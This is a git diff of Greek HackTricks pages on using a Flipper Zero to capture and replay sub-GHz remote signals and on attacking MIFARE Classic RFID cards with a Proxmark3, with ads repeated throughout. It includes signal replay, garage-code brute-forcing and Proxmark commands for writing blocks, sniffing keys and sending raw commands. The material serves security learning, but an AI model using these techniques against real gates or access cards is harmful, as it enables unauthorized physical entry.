Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από APIs έως web εφαρμογές και συστήματα cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα. * **Ακούστε/Καταγράψτε/Επαναλάβετε ραδιοσυχνότητες:** [**Sub-GHz**](fz-sub-ghz.md)
* **Διαβάστε/Καταγράψτε/Εξομοιώστε κάρτες NFC:** [**NFC**](fz-nfc.md)
* **Διαβάστε/Καταγράψτε/Εξομοιώστε ετικέτες 125kHz:** [**125kHz RFID**](fz-125khz-rfid.md)
* **Διαβάστε/Καταγράψτε/Στείλτε σήματα υπέρυθρων:** [**Υπέρυθρο**](fz-infrared.md)
* **Διαβάστε/Καταγράψτε/Εξομοιώστε iButtons:** [**iButton**](../ibutton.md)
* **Χρησιμοποιήστε το ως Bad USB**
* **Χρησιμοποιήστε το ως κλειδί ασφαλείας (U2F)**
* **Παίξτε το παιχνίδι Snake**
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} **Άλλοι πόροι Flipper Zero στο** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
***
Με το [**Flipper Zero**](https://flipperzero.one/) μπορείτε να:
* **Ακούτε/Καταγράφετε/Επαναλαμβάνετε ραδιοσυχνότητες:** [**Sub-GHz**](fz-sub-ghz.md)****
* **Διαβάζετε/Καταγράφετε/Εμμοντεύετε κάρτες NFC:** [**NFC**](fz-nfc.md)****
* **Διαβάζετε/Καταγράφετε/Εμμοντεύετε ετικέτες 125kHz:** [**125kHz RFID**](fz-125khz-rfid.md)****
* **Διαβάζετε/Καταγράφετε/Αποστέλλετε υπέρυθρα σήματα:** [**Infrared**](fz-infrared.md)****
* **Διαβάζετε/Καταγράφετε/Εμμοντεύετε iButtons:** [**iButton**](../ibutton.md)****
* **Χρησιμοποιείτε το ως Bad USB**
* **Χρησιμοποιείτε το ως κλειδί ασφαλείας (U2F)**
* **Παίζετε το παιχνίδι Snake**
**Άλλοι πόροι για το Flipper Zero στο** [**https://github.com/djsime1/awesome-flipperzero**](https://github.com/djsime1/awesome-flipperzero)****
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από APIs έως web εφαρμογές και συστήματα cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -2,35 +2,27 @@
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ τρικς σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από τις διεπαφές προς τις ιστοσελίδες και τα συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Εισαγωγή <a href="#kfpn7" id="kfpn7"></a> ## Εισαγωγή <a href="#kfpn7" id="kfpn7"></a>
Το Flipper Zero μπορεί να **λαμβάνει και να μεταδίδει ραδιοσυχνότητες στο εύρος 300-928 MHz** με το ενσωματωμένο του ενότητα, η οποία μπορεί να διαβάσει, να αποθηκεύσει και να προσομοιώσει απομακρυσμένους ελέγχους. Αυτοί οι ελέγχοι χρησιμοποιούνται για την αλληλεπίδραση με πύλες, φραγές, ραδιοκλειδαριές, διακόπτες απομακρυσμένου ελέγχου, ασύρματες κουδούνες, έξυπνα φώτα και άλλα. Το Flipper Zero μπορεί να σας βοηθήσει να μάθετε αν η ασφάλειά σας έχει παραβιαστεί. Το Flipper Zero μπορεί να **λαμβάνει και να μεταδίδει ραδιοσυχνότητες στο εύρος 300-928 MHz** με το ενσωματωμένο του μοντούλο, ο οποίος μπορεί να διαβάσει, να αποθηκεύσει και να προσομοιώσει τηλεχειρισμούς. Αυτοί οι τηλεχειρισμοί χρησιμοποιούνται για την αλληλεπίδραση με πύλες, φράχτες, ραδιοκλειδαριές, διακόπτες τηλεχειρισμού, ασύρματα κουδούνια, έξυπνα φώτα και άλλα. Το Flipper Zero μπορεί να σας βοηθήσει να μάθετε αν η ασφάλειά σας έχει διακυβευτεί.
<figure><img src="../../../.gitbook/assets/image (3) (2) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (2) (1).png" alt=""><figcaption></figcaption></figure>
## Υλικό Sub-GHz <a href="#kfpn7" id="kfpn7"></a> ## Υλικό Sub-GHz <a href="#kfpn7" id="kfpn7"></a>
Το Flipper Zero διαθέτει ενσωματωμένη μονάδα sub-1 GHz βασισμένη σε ένα [](https://www.st.com/en/nfc/st25r3916.html#overview)[τσιπ CC1101](https://www.ti.com/lit/ds/symlink/cc1101.pdf) και μια ραδιοκεραία (η μέγιστη εμβέλεια είναι 50 μέτρα). Τόσο το τσιπ CC1101 όσο και η κεραία είναι σχεδιασμένα για να λειτουργούν σε συχνότητες στα εύρη 300-348 MHz, 387-464 MHz και 779-928 MHz. Το Flipper Zero διαθέτει ενσωματωμένο υπο-1 GHz μοντούλο βασισμένο σε ένα [](https://www.st.com/en/nfc/st25r3916.html#overview)τσιπ CC1101](https://www.ti.com/lit/ds/symlink/cc1101.pdf) και μια ραδιοκεραία (η μέγιστη εμβέλεια είναι 50 μέτρα). Τόσο το τσιπ CC1101 όσο και η κεραία είναι σχεδιασμένα να λειτουργούν σε συχνότητες στα εύρη 300-348 MHz, 387-464 MHz και 779-928 MHz.
<figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure>
@ -39,14 +31,62 @@
### Αναλυτής Συχνοτήτων ### Αναλυτής Συχνοτήτων
{% hint style="info" %} {% hint style="info" %}
Πώς να βρείτε ποια συχνότητα χρησιμοποιεί ο απομακρυσμένος ελεγκτής Πώς να βρείτε ποια συχνότητα χρησιμοποιεί το τηλεχειριστήριο
{% endhint %} {% endhint %}
Κατά την ανάλυση, το Flipper Zero σαρώνει την ισχύ των σημάτων (RSSI) σε όλες τις διαθέσιμες συχνότητες στη ρύθμιση της συχνότητας. Το Flipper Zero εμφανίζει τη συχνότητα με την υψηλότερη τιμή RSSI, με ισχύ σήματος μεγαλύτερη από -90 [dBm](https://en.wikipedia.org/wiki/DBm). Κατά την ανάλυση, το Flipper Zero σαρώνει την ισχύ των σημάτων (RSSI) σε όλες τις διαθέσιμες συχνότητες στη ρύθμιση συχνοτήτων. Το Flipper Zero εμφανίζει τη συχνότητα με τη μεγαλύτερη τιμή RSSI, με ισχύ σήματος μεγαλύτερη από -90 [dBm](https://en.wikipedia.org/wiki/DBm).
Για να προσδιορίσετε τη συχνότητα του απομακρυσμένου ελεγκτή, ακολουθήστε τα παρακάτω βήματα: Για να προσδιορίσετε τη συχνότητα του τηλεχειριστηρίου, κάντε τα εξής:
1. Τοποθετήστε τον απομακρυσμένο ελεγκτή πολύ κοντά στα αρισ 1. Τοποθετήστε το τηλεχειριστήριο πολύ κοντά στα αριστερά του Flipper Zero.
2. Πηγαίνετε στο **Κύριο Μενού** **→ Sub-GHz**.
3. Επιλέξτε **Αναλυτής Συχνοτήτων**, στη συνέχεια πατήστε και κρατήστε το κουμπί στο τηλεχειριστήριο που θέλετε να αναλύσετε.
4. Ελέγξτε την τιμή της συχνότητας στην οθόνη.
### Ανάγνωση
{% hint style="info" %}
Βρείτε πληροφορίες σχετικά με τη χρησιμοποιούμενη συχνότητα (επίσης άλλος τρόπος να βρείτε ποια συχνότητα χρησιμοποιείται)
{% endhint %}
Η επιλογή **Ανάγνωση** **ακούει στην ρυθμισμένη συχνότητα** στην καθορισμένη διαμόρφωση: 433.92 AM από προεπιλογή. Αν **βρεθεί κάτι** κατά την ανάγνωση, **δίνονται πληροφορίες** στην οθόνη. Αυτές οι πληροφορίες μπορεί να χρησιμοποιηθούν για να αναπαράγετε το σήμα στο μέλλον.
Κατά τη χρήση της Ανάγνωσης, είναι δυνατόν να πατήσετε το **αριστερό κουμπί** και να το **ρυθμίσετε**.\
Προς το παρόν έχει **4 διαμορφώσεις** (AM270, AM650, FM328 και FM476), και **αποθηκευμένες αρκετές σχετικές συχνότητες**:
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
Μπορείτε να ορίσετε **οποιαδήποτε σας ενδιαφέρει**, ωστόσο, αν **δεν είστε σίγουροι ποια συχνότητα** μπορεί να χρησιμοποιεί το τηλεχειριστήριο που έχετε, **ρυθμίστε το Hopping σε ON** (απενεργοποιημένο από προεπιλογή), και πατήστε το κουμπί αρκετές φορές μέχρι το Flipper να το αιχμαλωτίσει και να σας δώσει τις πληροφορίες που χρειάζεστε για να ρυθμίσετε τη συχνότητα.
{% hint style="danger" %}
Η μετάβαση μεταξύ συχνοτήτων απαιτεί κάποιο χρόνο, επομένως τα σήματα που μεταδίδονται κατά τη διάρκεια της μετάβασης μπορεί να χαθούν. Για καλύτερη λήψη σήματος, ορίστε μια σταθερή συχνότητα που καθορίζεται από τον Αναλυτή Συχνοτήτων.
{% endhint %}
### **Ανάγνωση Raw**
{% hint style="info" %}
Κλέψτε (και επαναλάβετε) ένα σήμα στη ρυθμισμένη συχνότητα
{% endhint %}
Η επιλογή **Ανάγνωση Raw** **καταγράφει τα σήματα** που στέλνονται στη συχνότητα ακρόασης. Αυτό μπορεί να χρησιμοποιηθεί για να **κλέψετε** ένα σήμα και να το **επαναλάβετε**.
Από προεπιλογή το **Ανάγνωση Raw είναι επίσης στα 433.92 στο AM650**, αλλά αν με την επιλογή Ανάγνωση βρήκατε ότι το σήμα που σας ενδιαφέρει είναι σε μια **διαφορετική συχνότητα/διαμόρφωση, μπορείτε επίσης να το τροποποιήσετε** πατώντας αριστερά (ενώ βρίσκεστε μέσα στην επιλογή Ανάγνωση Raw).
### Επίθεση Brute-Force
Αν γνωρίζετε το πρωτόκολλο που χρησιμοποιείται για παράδειγμα από την πόρτα του γκαράζ, είναι δυνατόν να **δημιουργήσετε όλους τους κωδικούς και να τους στείλετε με το Flipper Zero.** Αυτό είναι ένα παράδειγμα που υποστηρίζει γενικά κοινούς τύπους γκαράζ: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
### Προσθήκη Χειροκίνητα
{% hint style="info" %}
Προσθέστε σήματα από μια καθορισμένη λίστα πρωτοκόλλων
{% endhint %}
#### Λίστα των [υποστηριζόμενων πρωτοκόλλων](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu"></a>
| Princeton\_433 (λειτουργεί με την πλειοψηφία των συστημάτων στατικών κωδικών) | 433.92 | Στατικός |
| --------------------------------------------------------------- | ------ | ------- |
| Nice Flo 12
### Υποστηριζόμενοι προμηθευτές Sub-GHz ### Υποστηριζόμενοι προμηθευτές Sub-GHz
Ελέγξτε τη λίστα στο [https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors) Ελέγξτε τη λίστα στο [https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors)
@ -55,33 +95,12 @@
Ελέγξτε τη λίστα στο [https://docs.flipperzero.one/sub-ghz/frequencies](https://docs.flipperzero.one/sub-ghz/frequencies) Ελέγξτε τη λίστα στο [https://docs.flipperzero.one/sub-ghz/frequencies](https://docs.flipperzero.one/sub-ghz/frequencies)
### Έλεγχος ### Τεστ
{% hint style="info" %} {% hint style="info" %}
Πάρτε τα dBms των αποθηκευμένων συχνοτήτων Λάβετε τα dBms των αποθηκευμένων συχνοτήτων
{% endhint %} {% endhint %}
## Αναφορά ## Αναφορά
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz) * [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από τις διεπαφές προς τις ιστοσελίδες και τα συστήματα cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm_source=referral&utm_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -2,33 +2,25 @@
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** [**💬**](https://emojipedia.org/speech-balloon/) [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ τρικς σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> ## Επίθεση σε Συστήματα RFID με το Proxmark3
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από διεπαφές προς ιστοσελίδες και συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα. Το πρώτο πράγμα που χρειάζεστε είναι ένα [**Proxmark3**](https://proxmark.com) και να [**εγκαταστήσετε το λογισμικό και τις εξαρτήσεις του**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} ### Επίθεση στο MIFARE Classic 1KB
*** Έχει **16 τομείς**, κάθε ένας έχει **4 μπλοκ** και κάθε μπλοκ περιέχει **16B**. Το UID βρίσκεται στον τομέα 0 μπλοκ 0 (και δεν μπορεί να τροποποιηθεί).\
Για να έχετε πρόσβαση σε κάθε τομέα χρειάζεστε **2 κλειδιά** (**Α** και **Β**) τα οποία αποθηκεύονται στο **μπλοκ 3 κάθε τομέα** (τροχαίος τομέας). Ο τροχαίος τομέας αποθηκεύει επίσης τα **δείκτες πρόσβασης** που δίνουν τις άδειες **ανάγνωσης και εγγραφής** σε **κάθε μπλοκ** χρησιμοποιώντας τα 2 κλειδιά.\
## Επίθεση σε συστήματα RFID με το Proxmark3 Τα 2 κλειδιά είναι χρήσιμα για να δώσουν άδειες για ανάγνωση αν γνωρίζετε το πρώτο και για εγγραφή αν γνωρίζετε το δεύτερο (για παράδειγμα).
Το πρώτο πράγμα που χρειάζεστε είναι να έχετε ένα [**Proxmark3**](https://proxmark.com) και [**να εγκαταστήσετε το λογισμικό και τις εξαρτήσεις του**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
### Επίθεση σε MIFARE Classic 1KB
Έχει **16 τομείς**, καθένας από αυτούς έχει **4 μπλοκ** και κάθε μπλοκ περιέχει **16B**. Το UID βρίσκεται στον τομέα 0 μπλοκ 0 (και δεν μπορεί να αλλοιωθεί).\
Για να έχετε πρόσβαση σε κάθε τομέα, χρειάζεστε **2 κλειδιά** (**Α** και **Β**) τα οποία αποθηκεύονται στο **μπλοκ 3 κάθε τομέα** (τελευταίος τομέας). Ο τελευταίος τομέας αποθηκεύει επίσης τα **bits πρόσβασης** που δίνουν τις άδειες **ανάγνωσης και εγγραφής** σε **κάθε μπλοκ** χρησιμοποιώντας τα 2 κλειδιά.\
Τα 2 κλειδιά είναι χρήσιμα για να δώσουν άδειες ανάγνωσης αν γνωρίζετε το πρώτο και άδειες εγγραφής αν γνωρίζετε το δεύτερο (για παράδειγμα).
Μπορούν να πραγματοποιηθούν πολλές επιθέσεις Μπορούν να πραγματοποιηθούν πολλές επιθέσεις
```bash ```bash
@ -49,11 +41,11 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
proxmark3> hf mf eget 01 # Read block 1 proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
``` ```
Το Proxmark3 επιτρέπει να εκτελείτε και άλλες ενέργειες όπως το **ακροατήριο** μιας **επικοινωνίας από ετικέτα προς αναγνώστη** για να προσπαθήσετε να βρείτε ευαίσθητα δεδομένα. Σε αυτήν την κάρτα, μπορείτε απλώς να καταγράψετε την επικοινωνία και να υπολογίσετε το χρησιμοποιούμενο κλειδί επειδή οι **κρυπτογραφικές λειτουργίες που χρησιμοποιούνται είναι αδύναμες** και γνωρίζοντας το καθαρό και το κρυπτογραφημένο κείμενο μπορείτε να το υπολογίσετε (εργαλείο `mfkey64`). Το Proxmark3 επιτρέπει την εκτέλεση άλλων ενεργειών όπως **ακρόαση** μιας **επικοινωνίας Tag προς Reader** για να προσπαθήσετε να βρείτε ευαίσθητα δεδομένα. Σε αυτήν την κάρτα μπορείτε απλώς να καταγράψετε την επικοινωνία και να υπολογίσετε το χρησιμοποιούμενο κλειδί επειδή οι **κρυπτογραφικές λειτουργίες που χρησιμοποιούνται είναι αδύναμες** και γνωρίζοντας το κείμενο και το κρυπτοκείμενο μπορείτε να το υπολογίσετε (εργαλείο `mfkey64`).
### Ακατέργαστες Εντολές ### Ακατέργαστες Εντολές
Οι συστήματα IoT μερικές φορές χρησιμοποιούν **μη εμπορικές ετικέτες**. Σε αυτήν την περίπτωση, μπορείτε να χρησιμοποιήσετε το Proxmark3 για να στείλετε προσαρμοσμένες **ακατέργαστες εντολές στις ετικέτες**. Τα συστήματα IoT μερικές φορές χρησιμοποιούν **μη επωνυμασμένες ή μη εμπορικές ετικέτες**. Σε αυτήν την περίπτωση, μπορείτε να χρησιμοποιήσετε το Proxmark3 για να στείλετε προσαρμοσμένες **ακατέργαστες εντολές στις ετικέτες**.
```bash ```bash
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04 proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
SAK : 08 [2] SAK : 08 [2]
@ -63,31 +55,12 @@ No chinese magic backdoor command detected
Prng detection: WEAK Prng detection: WEAK
Valid ISO14443A Tag Found - Quiting Search Valid ISO14443A Tag Found - Quiting Search
``` ```
Με αυτές τις πληροφορίες μπορείτε να προσπαθήσετε να αναζητήσετε πληροφορίες σχετικά με την κάρτα και τον τρόπο επικοινωνίας μαζί της. Το Proxmark3 επιτρέπει την αποστολή ακατέργαστων εντολών όπως: `hf 14a raw -p -b 7 26` Με αυτές τις πληροφορίες μπορείτε να προσπαθήσετε να αναζητήσετε πληροφορίες σχετικά με την κάρτα και τον τρόπο επικοινωνίας μαζί της. Το Proxmark3 επιτρέπει την αποστολή ωμών εντολών όπως: `hf 14a raw -p -b 7 26`
### Σενάρια ### Σενάρια
